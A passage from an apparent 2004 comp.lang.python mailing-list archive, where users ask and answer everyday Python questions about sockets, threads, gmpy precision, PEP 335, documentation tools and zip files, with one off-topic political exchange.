back in order), although you still have to read/write a whole 8-bit byte at a time. - Jason Lai From aleaxit at yahoo.com Wed Sep 22 05:51:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 11:51:31 +0200 Subject: binding to localhost - slightly OT References: Message-ID: <1gkijgt.104li1e1dffyeuN%aleaxit@yahoo.com> Ajay wrote: > I am making the following call on my PDA which has WLAN connectivity > >>>import socket > >>>socket.gethostbyname(socket.gethostname()) > this prints 127.0.0.1 > the PDA has an assigned IP address. > so if i go > UDPserversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) > UDPserversocket.bind((socket.gethostname(), LOCAL_SERVER_PORT)) > > this binds to the localhost instead of the assigned IP address. how can i > get it to bind to the assigned IP? i dont want to explicitly enter the IP > address into the bind call, since the IP may change. If you .bind to a specific address, you are only going to be reachable from that address -- is that what you're trying to do? If so, then any of the addresses for your host should be just as good (or just as bad). I suspect that what you're TRYING to do is bind(socket.INADDR_ANY, ... so that OTHER machines can send you datagrams... I believe a '' would also work as the first argument to bind, instead of INADDR_ANY. Alex From ghum at gmx.net Mon Sep 27 09:51:55 2004 From: ghum at gmx.net (Harald Armin Massa) Date: 27 Sep 2004 06:51:55 -0700 Subject: repeat something in a thread, but stop when the program stops Message-ID: <5db4fffa.0409270551.57a96cda@posting.google.com> I need to do some synchronisations like in a cron.job import time from threading import Thread class updater(Thread): def run(self): while True: do_updates() time.sleep(600) updater().start() # regular program flow continues .... print "tralalala" while True: do_very_important_stuff() if ask_user_if_I_should_stop(): break print "programm stopped because YOU decided ..." ################################# BUT ... the updater() thread keeps running. The software will not end until forced with keyboard interrupt. I would like to have a way to stop that thread in a automatic way. one obvious solution would be: import time from threading import Thread import Queue class updater(Thread): stopper=Queue.Queue() def run(self): self.timegone=0 while self.stopper.empty(): time.sleep(0.5) self.timegone+=1 if self.timegone>=600: print "you waited, time passed, I will do updates" do_updates() self.timegone=0 print "updater stopped also" myupdater=updater() myupdater.start() while True: print "doing important stuff" do_very_important_stuff() a=raw_input("stop?") if a=="y": myupdater.stopper.put("stop this thread, will you??") break print "programm stopped because YOU decided ..." ############ I use a Queue to communicate the stop-message to the updater-thread. Queue is documented as being thread-safe, so no hobbling with mutex or stuff. BUT... just to look at that queue the thread has to be activated. And ... the usual run-time of the software will be around 10hours, the update has to be done 20 times. And only in the evening the programm will be ended (shutdown of the computer). And more over: it will be in the background. time.sleep() takes essentially no processor time. Checking the queue will not stop the computer, but takes mor than necessary. Is there any better approach ? Harald From aleaxit at yahoo.com Mon Sep 13 18:29:18 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 00:29:18 +0200 Subject: Property with parameter... References: <1gk1sn7.mbsc0o17dm56rN%aleaxit@yahoo.com> Message-ID: <1gk2u3m.krkx5scn318bN%aleaxit@yahoo.com> Bengt Richter wrote: ... > >Have your get method return an instance of an auxiliary class which > Why a get method when a.Tag can return the aux class instance as a plain > attribute? (other than that the OP mentioned 'property' and might want to > protect against a.Tag = 23 ;-) E.g. See below. Yes, if the OP is happy about potentially letting client code trample over his precious a.Tag by assigning to it, and further is happy having every instance of class A instantiating and holding an instance of a Tags class (rather than doing it just-in-time if and when that attribute is accessed) -- briefly, if he needs none of the advantages afforded by properties -- then he'd be best advised to avoid using properties. > If the OP doesn't need to protect against a.Tag = 23 etc., seems like a > separate class for Tag might be simplest for him? I.e., > > >>> class TagClass(object): > ... def __init__(self): self.__Tags = {} > ... def __getitem__(self, k): return self.__Tags.get(k, None) # per OP > ... def __setitem__(self, k, v): self.__Tags[k] = v > ... > >>> class A(object): > ... def __init__(self): self.Tag = TagClass() If instances of class A need no other access to the dictionary than that afforded to other code by the get/set-item special methods of this class TagClass (in addition to not needing any of the potential extras of properties), then this factoring (giving the TagClass instance whole responsibility for handling the dict) may indeed be optimal. More usually, though, the coupling may usefully be closer -- and I mentioned some other factorings that would afford that, besides the unusual one I showed in detail which used closures to effect the coupling. > For me, capitalized attributes kind of grate on the convention nerve though ;-) It's not a common convention in Python practice, agreed. Not unheard of, though -- I do believe it's mentioned in the style PEP, isn't it? Alex From claird at lairds.us Sun Sep 19 20:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 20 Sep 2004 00:08:04 GMT Subject: uptime in unix References: Message-ID: In article , Oli Schwarz wrote: >> . >> . >> . >> Is it enough to parse the output of uptime(1)? > >I hope. :) But I was wondering that there is no such function in the >library. > >Are these things handled like in Java? Doesn't Python know anything >about such platform specific things? . . . There's no particularly satisfying abstract answer to these matters. History happened, and we live in the result. Python knows about some platform-specific items, and not others. I'm unconvinced that Java's truths are any more rationalized. From cbfalconer at yahoo.com Tue Sep 21 11:37:43 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Tue, 21 Sep 2004 15:37:43 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <414F156C.7C28AEFB@yahoo.com> Message-ID: <41504292.C2BE622D@yahoo.com> Chuck Dillon wrote: > CBFalconer wrote: > ... snip ... >> >> Then why does he ignore them, as evidenced by his non-response to >> the July report on the future of Iraq, which was kept secret until >> a few days ago? > > You have no basis from which to judge how or whether there was a > response. Just because you're not in the loop doesn't mean there > is no loop. On the contrary, I have a basis. GWB has continued to bray about "staying the course" since the report was available to him. -- "It is not a question of staying the course, but of changing the course" - John Kerry, 2004-09-20 "Ask any boat owner the eventual result of continuing the present course indefinitely" - C.B. Falconer, 2004-09-20 From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Fri Sep 24 18:00:18 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Fri, 24 Sep 2004 23:00:18 +0100 Subject: Global Interpreter Lock In-Reply-To: References: Message-ID: Tomas Christiansen wrote: > So ONLY (multiple) threads are affected by the global interpreter lock? As opposed to any of the other scenarios proposed, yes. -- Michael Hoffman From aleaxit at yahoo.com Sun Sep 19 13:41:45 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 19:41:45 +0200 Subject: Math errors in python References: <200409190039.23955.gherron@islandtraining.com> Message-ID: <1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com> Heiko Wundram wrote: > Am Sonntag, 19. September 2004 09:39 schrieb Gary Herron: > > That's called rational arithmetic, and I'm sure you can find a package > > that implements it for you. However what would you propose for > > irrational numbers like sqrt(2) and transcendental numbers like PI? > > Just as an example, try gmpy. Unlimited precision integer and rational > arithmetic. But don't think that they implement anything more than the four > basic operations on rationals, because algorithms like sqrt and pow become so > slow, that nobody sensible would use them, but rather just stick to the > binary arithmetic the computer uses (although this might have some minor > effects on precision, but these can be bounded). Guilty as charged, but with a different explanation. I don't support raising a rational to a rational exponent, not because it would "become slow", but because it could not return a rational result in general. When it CAN return a rational result, I'm happy as a lark to support it: >>> x = gmpy.mpq(4,9) >>> x ** gmpy.mpq(1,2) mpq(2,3) >>> I.e. raising to the power 1/2 (which is the same as saying, taking the square root) is supported in gmpy only when the base is a rational which IS the square of some other rational -- and similarly for other fractional exponents. Say you're content with finite precision, and you problem is that getting only a few dozen bits' worth falls far short of your ambition, as you want _thousands_. Well, you don't have to "stick to the arithmetic your computer uses", with its paltry dozens of bits' worth of precision -- you can have just as many as you wish. For example: For example...: >>> x=gmpy.mpf(2, 2222) >>> x mpf('2.e0',2222) >>> y=gmpy.fsqrt(x) >>> y mpf('1.41421356237309504880168872420969807856967187537694807317667973799 073247846210703885038753432764157273501384623091229702492483605585073721 264412149709993583141322266592750559275579995050115278206057147010955997 160597027453459686201472851741864088919860955232923048430871432145083976 260362799525140798968725339654633180882964062061525835239505474575028775 996172983557522033753185701135437460340849884716038689997069900481503054 402779031645424782306849293691862158057846311159666871301301561856898723 723528850926486124949771542183342042856860601468247207714358548741556570 696776537202264854470158588016207584749226572260020855844665214583988939 4437092659180031138824646815708263e0',2222) >>> Of course, this still has bounded accuracy (gmpy doesn't do constructive reals...): >>> x-(y*y) mpf('1.21406321925474744732602075007044436621136403661789690072865954475 776298522118244419272674806546441529118557492550101271984681584381130555 892259118178248950179953390159664508815540959644741794226362686473376767 055696411211498987561487078708187675060063022704148995680107509652317604 479364576039827518913272446772069713871266672454279184421635785339332972 791970690781583948212784883346298572710476658954707852342842150889381157 563045936231138515406709376167997169879900784347146377935422794796191261 624849740964942283842868779082292557869166024095318326003777296248197487 885858223175591943112711481319695526039760318353849240080721341697065981 8471278600062647147473105883272095e-674',2222) i.e., there IS an error of about 10 to the minus 674 power, i.e. a precision of barely more than a couple of thousands of bits -- but then, that IS what you asked for, with that '2222'!-) Computing square roots (or whatever) directly on rationals would be no big deal, were there demand -- you'd still have to tell me what kind of loss of accuracy you're willing to tolerate, though. I personally find it handier to compute with mpf's (high-precision floats) and then turn the result into rationals with a Stern-Brocot algorithm...: >>> z=gmpy.f2q(y,-2000) >>> z mpq(87787840362947056221389837099888119784184900622573984346903816053706 510038371862119498502008227696594958892073744394524220336403937617412073 521953746033135074321986796669379393248887099312745495535792954890191437 233230436746927180393035328284490481153041398619700720943077149557439382 34750528988254439L,62075377226361968890337286609853165704271551096494666 544033975362265504696870569409265091955693911548812764050925469857560059 623789287922026078165497542602022607603900854658753038808290787475128940 694806084715129308978288523742413573494221901565588452667869917019091383 93125847495825105773132566685269L) If you need the square root of two as a rational number with an error of less than 1 in 2**-2000, I think this is a reasonable approach. As for speed, this is quite decently usable in an interactive session in my cheap and cheerful Mac iBook 12" portable (not the latest model, which is quite a bit faster, much less the "professional" Powerbooks -- I'm talking about an ageing, though good-quality, consumer-class machine!). gmpy (or to be more precise the underlying GMP library) runs optimally on AMD Athlon 32-bit processors, which happen to be dirt cheap these days, so a cleverly-purchased 300-dollars desktop Linux PC using such an Athlon chip would no doubt let you use way more than these humble couple thousand bits for such interactive computations while maintaining a perfectly acceptable interactive response time. Alex From ialbert at mailblocks.com Mon Sep 20 10:51:34 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 20 Sep 2004 10:51:34 -0400 Subject: Network pass-through/proxy server questions In-Reply-To: <%Bh3d.3530$bL1.67148@news20.bellglobal.com> References: <%Bh3d.3530$bL1.67148@news20.bellglobal.com> Message-ID: Jos Yule wrote: > does not accept incoming socket connections, i'd like to use a small > Python server to act as the socket proxy (i think that's the right term) Check this page for python proxies, you might find something you can build upon http://xhaus.com/alan/python/proxies.html Istvan. From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 20 17:13:56 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Mon, 20 Sep 2004 22:13:56 +0100 Subject: Just curious Message-ID: I understand usual practise to involve responding to a posting within the original thread. In this group there seem to be many responses to a question which start a new thread; viz. by vegetax leads to a new thread by Gerrit. Ditto . Is this a peculiarity of something Pythonites are using, or is there a different protocol here? Ken. From gerrit at nl.linux.org Fri Sep 10 07:16:58 2004 From: gerrit at nl.linux.org (Gerrit) Date: Fri, 10 Sep 2004 13:16:58 +0200 Subject: PEP 335: Overloadable Boolean Operators - Official Posting In-Reply-To: <2qccb9Fuac61U1@uni-berlin.de> References: <2qccb9Fuac61U1@uni-berlin.de> Message-ID: <20040910111658.GA9916@nl.linux.org> Hello, Greg Ewing wrote: > At the Python level, objects may define the following special methods. > > =============== ================= ======================== > Unary Binary, phase 1 Binary, phase 2 > =============== ================= ======================== > * __not__(self) * __and1__(self) * __and2__(self, other) > * __or1__(self) * __or2__(self, other) > * __rand2__(self, other) > * __ror2__(self, other) > =============== ================= ======================== > > The __not__ method, if defined, implements the 'not' operator. If it > is not defined, or it returns NotImplemented, existing semantics are > used. I like the idea but I don't like the method names. I don't like numbers in method names, since they don't intuitively tell the user about what it does. In my opinion, and1 should be called and, or1 or, rand2 rand and ror2 ror. The only two left are then and2 and or2. Another possibility: always have a second argument in and, and default it to None. It can return NeedOtherOperand or similar if it needs, and ignore it otherwise. It results in a problem when the second operand is None, but perhaps that can be circumvented. Something in this direction may be more elegant than having 3 methods just for and. def __and__(self, other): if self.value % 3 == math.ceil(random.random()): return self elif other is None: # or SomeSpecialValue return NeedOtherOperand else: return other Another disadvantage is yet more cluttering of builtins, because NeedOtherValue would need to be a builtin. > As a special case, if the first operand defines a phase 2 method but > no corresponding phase 1 method, the second operand is always > evaluated and the phase 2 method called. This allows an object which > does not want short-circuiting semantics to simply implement the > relevant phase 2 methods and ignore phase 1. What happens if an object defines only rand2? Does it depend on the left operand to be called, or is it always called? E.g. can the right operand influence short-circuiting (I assume not)? Excellent PEP, btw. Gerrit. -- Weather in Twenthe, Netherlands 10/09 11:25: 20.0?C Few clouds mostly clear wind 3.6 m/s SE (57 m above NAP) -- Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From jussij at zeusedit.com Tue Sep 28 03:46:05 2004 From: jussij at zeusedit.com (Jussi Jumppanen) Date: Tue, 28 Sep 2004 17:46:05 +1000 Subject: A good IDE for Python References: Message-ID: <415916BD.49D@zeusedit.com> Hellas wrote: > I'm newbie of this program language so I need an software that it > cans to help me to write correctly all key words like an IDE for > Visual Basic integrated on the office's packet excuse me for my > bad english Take a look at the Zeus for Windows programmers editor: http://www.zeusedit.com/lookmain.html Zeus comes with quite a few Python specific features including class browsing, syntax highlighting and intellisensing for any file in the Zeus workspace. Zeus macros can also be written in Python. Jussi Jumppanen Home Page: http://www.zeusedit.com From danperl at rogers.com Sun Sep 26 13:21:40 2004 From: danperl at rogers.com (Dan Perl) Date: Sun, 26 Sep 2004 13:21:40 -0400 Subject: HappyDoc not so happy? Message-ID: Does anyone know what is happening with HappyDoc? I downloaded the latest release (3.0 from April, 2003) but it cannot even be installed (there is a bug report for that already). Is anyone still working on it? What other similar tools for extracting documentation would you recommend? I find pydoc extremely rudimentary and I am using epydoc instead. However, I found a bug in epydoc that's a big thorn in my side (although it's a great tool otherwise) so I am looking for alternatives. I tried an older release of HappyDoc (2.1) but I'm not "happy" with it either and I find it definitely worse than epydoc. What is Zope using these days? HappyDoc advertises that it is used by Zope, but that's probably an old reference. I also found a reference to a ZAPIDOC project in Zope, but that seems to be dead too. From apardon at forel.vub.ac.be Wed Sep 1 02:13:09 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 1 Sep 2004 06:13:09 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-08-31, Ville Vainio schreef : >>>>>> "Antoon" == Antoon Pardon writes: > > Antoon> The nesting reflects the structure of the algorithm. If an > Antoon> algorithm is best described by the nesting of a number of > Antoon> control structures then i don't see how you are going to > Antoon> remove that nesting. > > Functions and classes? If you need a function or class just to avoid nesting, then IMO you have only camoeflaged it. In order to understand what is going on you still need to understand how the nesting of a number of controls prroduce a certain result and when you write a function just to avoid nesting it often enough makes readablity harder. -- Antoon Pardon From lonetwin at gmail.com Wed Sep 29 10:24:33 2004 From: lonetwin at gmail.com (Steve) Date: Wed, 29 Sep 2004 19:54:33 +0530 Subject: Program that can find a find a file for you ? In-Reply-To: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> Message-ID: <5a309bd304092907244044cbbe@mail.gmail.com> Hi Peter, On Wed, 29 Sep 2004 11:25:39 +0200, Peter Hansen wrote: > Im trying to write a program that can be run from the command line. > If I want to search for example after a file with the ending .pdf, I should > be able to write in the command line: > python name of my program / the libary to search and what kind of file it > is example a .pdf file I had to do something like this sometime back so I wrote up a general purpose script that would look for certain types of files and call a python function, passing the filename as argument to the function. This function could be any thing that you would care to define (My script incidentally just rename file with *ill formed* names). This is roughly the equivalent doing this using the 'find' unix command: $ find -name "*.ext" -exec (some python function) {} ';' You can find the function at the ASPN cookbook site: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300411 Hope you find it useful. Regards Steve From dperl at rogers.com Mon Sep 13 22:21:29 2004 From: dperl at rogers.com (Dan Perl) Date: Tue, 14 Sep 2004 02:21:29 GMT Subject: directories problem References: Message-ID: I'm not sure whether this is what Lowell is looking for, but I've been looking at a similar problem and I would also like to see a solution for that: can a python script know its own full path name? Dan "Lowell Kirsh" wrote in message news:ci5jf2$t60$1 at mughi.cs.ubc.ca... > I'm trying to write a script in python to run several other python scripts > using os.system(scriptName). Many of those other scripts have lines in > them which look something like: > doSomething('config.txt') > where config.txt is a file in the same directory as scriptName. When I run > scriptName from its own directory, it is able to find config.txt. But when > I run scriptName from another directory, it can't find the file because > it's looking in the directory of the script which called it rather than > its own directory. Is there any way around this? > > Lowell From usenet at mail-2-me.com Wed Sep 29 16:33:49 2004 From: usenet at mail-2-me.com (Dirk Hagemann) Date: Wed, 29 Sep 2004 22:33:49 +0200 Subject: Search Filter Syntax in Active Directory Message-ID: Hi! I want to get the properties of all the computer-accounts of an ActiveDirectory structure (Microsoft). I know that could be done by using "Search Filter Syntax" with LDAP-Dialect or SQL-Dialect. I found a lot of information about these dialects, but no example how to use this in an python-script. Does anybody have a simple example for me, how to get some information out of AD? Best regards Dirk Hagemann From thorsten at thorstenkampe.de Sun Sep 19 04:25:23 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Sun, 19 Sep 2004 10:25:23 +0200 Subject: Determining if a client PC has an Internet connection References: Message-ID: * Jarek Zgoda (2004-09-19 10:14 +0200) > Cliff Wells pisze: >> I'm writing an application that needs to know if an Internet connection >> is available. Basically, I want to have something similar to what a lot >> of email clients have, where the app can work either in "online" or >> "offline" mode (it keeps a cache of downloaded info, so it can work >> without a connection if needed). >> >> The basic problem is this: it downloads info (RSS feeds) from a variety >> of sources. Any one (or more) of these could conceivably fail to >> download, so simply waiting for a timeout isn't sufficient (not easy to >> differentiate between having a bad server and the client not having a >> connection). Further, if it waits (say 30s) for the timeout to occur, >> this is going to be a bit annoying to the user. >> >> I've considered trying to connect to a stable host (i.e. Google) and if >> that fails then assume the client can't connect to the internet, but >> this seems like a sub-optimal solution. >> >> Is there any way to reliably determine the state of the client's >> internet connectivity? > > No, there's no such way. I think there has to be (or at least there is a method that many coders use because "testing if you're online" is a very frequent problem). Thorsten From mfranklin1 at mfranklin.is-a-geek.org Tue Sep 28 17:21:47 2004 From: mfranklin1 at mfranklin.is-a-geek.org (Martin Franklin) Date: Tue, 28 Sep 2004 22:21:47 +0100 Subject: Extracting Zip Files In-Reply-To: <01bd01c4a59f$41c21cc0$054b12ac@D18SYX41> References: <01bd01c4a59f$41c21cc0$054b12ac@D18SYX41> Message-ID: Greg Lindstrom wrote: > I've been zipping up files for months with zipfile, but today I was asked to > extract the contents of a zip file and was sure there would be an "extract" > method...but there's not one that I can find! Am I just missing something?? > I found a module, unzip.py, on Parnassus, but it doesn't work. Does anyone > have a way for me to extract files? Thanks! > > > Greg Lindstrom (501) 975-4859 > NovaSys Health greg.lindstrom at novasyshealth.com > > "We are the music makers, and we are the dreamers of dreams" W.W. > $ pydoc zipfile | namelist(self) | Return a list of file names in the archive. | | printdir(self) | Print a table of contents for the zip file. | | read(self, name) | Return file bytes (as a string) for name. | | For example [untested]:- zfile = zipfile.ZipFile("SomeZipFile.zip") for name in zfile.namelist(): localFile = open(name, "wb") localFile.write(zfile.read(name)) localFile.close() Cheers Martin From exarkun at divmod.com Fri Sep 17 12:38:40 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Fri, 17 Sep 2004 16:38:40 GMT Subject: socket error In-Reply-To: <1095432568.414af978c8fc9@www-mail.usyd.edu.au> Message-ID: <20040917163840.29723.762477860.divmod.quotient.2473@ohm> On Sat, 18 Sep 2004 00:49:28 +1000, Ajay wrote: >hi! > > my application is throwing a bad socket error > > raise error(EBADF, 'Bad file descriptor') > socket.error: (9, 'Bad file descriptor') > > [snip - something that isn't code demonstrating the problem] Describing how your program works, in English, is not a good way to communicate the necessary information. You should create an example that demonstrates the same problem but has had all parts of the program which are not necessary in reproducing the problem removed. With this, it will be a simple matter for someone to point out your mistake. Without it, it is pretty impossible. Jp From brian at rk-speed-rugby.dk Thu Sep 9 07:08:50 2004 From: brian at rk-speed-rugby.dk (Brian Elmegaard) Date: 09 Sep 2004 13:08:50 +0200 Subject: print and % operator References: <82880e86.0409082143.7e50aa98@posting.google.com> Message-ID: Peter Hansen writes: > You _really_ need to go through the tutorial... it answers > this question Are you sure? I never found the answer to this. What I found was: "Most formats work exactly as in C and require that you pass the proper type; however, if you don't you get an exception, not a core dump." So you need to know C to use python's tutorial :-( Josef's link is great though. -- Brian (remove the sport for mail) http://www.et.dtu.dk/staff/be From steven.bethard at gmail.com Wed Sep 29 23:47:14 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 30 Sep 2004 03:47:14 +0000 (UTC) Subject: constructing binary backslash-n References: <1f7befae04092919484211a3bb@mail.gmail.com> <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> Message-ID: Steven Arnold neosynapse.net> writes: > I want to be able to receive a letter like 'n', let's say as user > input, and generate the single byte escape value of backslash-n or > ASCII 10, as a string of length 1... Does this do what you're looking for: >>> ('\\' + 'r').decode('string_escape') '\r' >>> ('\\' + 'n').decode('string_escape') '\n' (I just learned this today in an earlier thread...) Steve From adalke at mindspring.com Sat Sep 4 17:07:30 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 04 Sep 2004 21:07:30 GMT Subject: read lines without the line break character at the end? In-Reply-To: References: Message-ID: Stan Cook wrote: > try for line in fp: > whatever line[:-1] etc etc > > Whatever you're doing with the line, the new line character will be gone. Except that 1) you should open the file in "U"niversal mode, and 2) this will chop the last character from the last line in the file if the file doesn't end with a newline. Andrew dalke at dalkescientific.com From michaels at rd.bbc.co.uk Mon Sep 20 07:20:15 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Mon, 20 Sep 2004 12:20:15 +0100 Subject: python is going to die! =( References: Message-ID: julio wrote: > -- tools,tools,tools : have people that likes python ever used an ide? > i mean a good ide, the one that saves you a lot of time, and makes you > productive. If I understand you right, this is the key crux to your argument. Languages don't die, they just go away for a while to return again later. Killing a language is very, very, very difficult. People have been trying to do this to Lisp, COBOL and FORTRAN for decades now, and not succeeded yet. Mere apathy very rarely works. (not entirely serious, but hopefully you get the point :) > Is there a posibility python survives 2 years more at least? Yes. It's survived in an evolving form despite the growth of C++, Java, C#, Perl over it's lifespan. Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From deetsNOSPAM at web.de Sat Sep 11 08:29:34 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sat, 11 Sep 2004 14:29:34 +0200 Subject: Nested class structures References: Message-ID: > > This is why I want to define the classes inline, nested in the > other class. I'm trying to leverage the syntactic structure of class > definitions to get nested structures of code. It's somewhat akin to > > a = { 'one': 1, > 'nested': { 'two': 2, 'three': 3, > 'nestnest': { 'four': 4, 'five': 5 } > } > 'othernest': { 'six': 6 } > } > > . . . except that I want the ability to include arbitrary python > code where I have 1, 2, 3 there (as dictionary values). As far as > I can tell, Python doesn't provide a way to define code as part of > a larger expression like this, except in a class definition. The only thing that comes to my mind is to create the classes from strings you exec - that will allow you to captur the class before redefining it: code = """class anon: def foo(_): print "%s" """ res = [] for i in "abc": exec(code % i) res.append(anon) for c in res: c().foo() Apart from that, I don't see any way to accomplish this - and for good reasons: classes as well as functions are only declarations - that means that they are stored in a sort of symbol table. And as there is no such thing like an order of declartions, the only thing to access them is their name. In languages that don't allow for rebinging an identifier, you'll get an error when trying to. In python, its silently rebinded. The question is: _why_ do you want to do this? How do you want to access the anonymous classes, if you were able to create them? Apart from that, I don't thing that a simple naming scheme like anon_1, anon_2 and so on is too bad... -- Regards, Diez B. Roggisch From sholden at holdenweb.com Wed Sep 1 12:01:13 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 01 Sep 2004 12:01:13 -0400 Subject: allowing braces around suites In-Reply-To: References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Antoon Pardon wrote: > Op 2004-08-31, Ville Vainio schreef : > >>>>>>>"Antoon" == Antoon Pardon writes: >> >> Antoon> The nesting reflects the structure of the algorithm. If an >> Antoon> algorithm is best described by the nesting of a number of >> Antoon> control structures then i don't see how you are going to >> Antoon> remove that nesting. >> >>Functions and classes? > > > If you need a function or class just to avoid nesting, then IMO > you have only camoeflaged it. In order to understand what is > going on you still need to understand how the nesting of > a number of controls prroduce a certain result and when > you write a function just to avoid nesting it often enough > makes readablity harder. > I'm afraid that's bollocks, equivalent to saying that building an airliner by connecting subassamblies together is just camouflaging the complexity. Presumably your chosen method would be to assemble a pile of all the parts and then just stick them together one by one? God help the test pilot if so... [One of] the point[s] about classes and functions is precisely that they do allow you to reduce the complexity by providing repeatable unit behavior which you can test before you rely on them in your higher-level logic. The alternative is monolithic programs, which are well known to be difficult to compile and maintain. If your program logic is too deeply nested with conditions then functions and classes provide a powerful logical abstraction to fight the complexity and improve code reliability and maintainability. regards Steve From jmlai at uci.edu Thu Sep 9 22:04:07 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 09 Sep 2004 19:04:07 -0700 Subject: newbie sending hex values over UDP socket In-Reply-To: References: Message-ID: Bill Seitz wrote: > I'm working with an outside "partner" to whom I want to send messages > (I want my app to send messages to his server/receiver). He requests > that I use UDP and an "industry standard" for formatting the data > itself. > > That format is basically a bunch of hex bytes. > > So instead of sending 3 alphanum chars > ri0 > > I have to send 3 bytes which he explains as being > 72 69 30 > > Now, what the heck should I really be sending? I know he's giving just > a simplified representation. > > Am I really looking to send > '726930' > or > '\x72\x69\x30' > or > (something else)? > > If I'm aiming for the 2nd format, how do I best generate it? If I'm > going the other direction, it seems like > struct.unpack('sss','\x72\x69\x30') > works OK > > But going the other direction doesn't work: > struct.pack('sss','r','i','0') -> 'ri0' > > If I'm going for the first format, then I guess > binascii.hexlify('ri0') > is the answer, right? > > Sorry for the silly question... I'm trying not to look like a chump > (to that partner) Well, since he says you're sending three bytes, I assume it's the second format. But the second format happens to be the same as the original. Observe: >>> "\x72\x69\x30" == 'ri0' True Bytes are bytes, regardless of whether you write them as characters, binary, decimals, or hexidecimals. - Jason Lai From gerrit at nl.linux.org Sat Sep 4 06:12:19 2004 From: gerrit at nl.linux.org (Gerrit) Date: Sat, 4 Sep 2004 12:12:19 +0200 Subject: age of Python programmers In-Reply-To: <6amZc.17353$ni.8118@okepread01> References: <889cbba0.0408181206.1812881c@posting.google.com> <6amZc.17353$ni.8118@okepread01> Message-ID: <20040904101219.GA21542@nl.linux.org> Steve Holden wrote: > nnes wrote: > >JanC wrote in message > >news:... > >>Gerardo Herzig -Departamento de Proyectos Especiales e Internet- Facultad > >>de Medicina schreef: > >> > >>>30 years old. First program at 11 (Basic) on ZX Spectrum. > >> > >>/me too (now 30 & started with ZX Spectrum Basic at 11) > > > > > >count another one, me too now 30 years, started with ZX Spectrum Basic at > >11 > > I'm 54, and I first programmed an ICT (later ICL) 1900 in Algol 60 and > PLAN at the age of 16. I'm 19, and I started with Python when I were 13, in December 1998. See also this usenet message, dated 29 May 1999. It's one of the very first messages from me to the Python newsgroup. I'm not a very intensive programmer, and I mainly do small scripts for useful purposes (I have approx. 50 of them, one of which creates my .sig). I haven't looked closely at other languages, although I looked a bit at Ruby. College will teach me Java later this year. See also: http://groups.google.nl/groups?selm=slrn7l0i0e.ie.gerrit%40gerrit.palga.uucp regards, Gerrit (still here, now and then). -- Weather in Twenthe, Netherlands 04/09 11:25: 24.0?C wind 2.2 m/s S (57 m above NAP) -- Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From aleaxit at yahoo.com Mon Sep 20 17:26:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 23:26:09 +0200 Subject: Just curious References: Message-ID: <1gkfqak.kalu9hyqxvozN%aleaxit@yahoo.com> Ken Parkes wrote: > I understand usual practise to involve responding to a posting within the > original thread. In this group there seem to be many responses to a > question which start a new thread; viz. by vegetax > leads to a new thread by Gerrit. Ditto this function work?>. Is this a peculiarity of something Pythonites are > using, or is there a different protocol here? I'm just guessing, and I could be wrong, but I think you're noticing the artefacts from some people following this as a newsgroup (NNTP) and others as a mailing list (SMTP/POP/IMAP/whatever). Apparently some headers get mangled in such a way that your reader loses track of the threads (so does the one I'm using these days -- MacSOUP -- but the one I used to use, KNode, had no such problem). Alex From carribeiro at gmail.com Mon Sep 6 14:27:06 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 6 Sep 2004 15:27:06 -0300 Subject: Lager'd Statistics on language migration 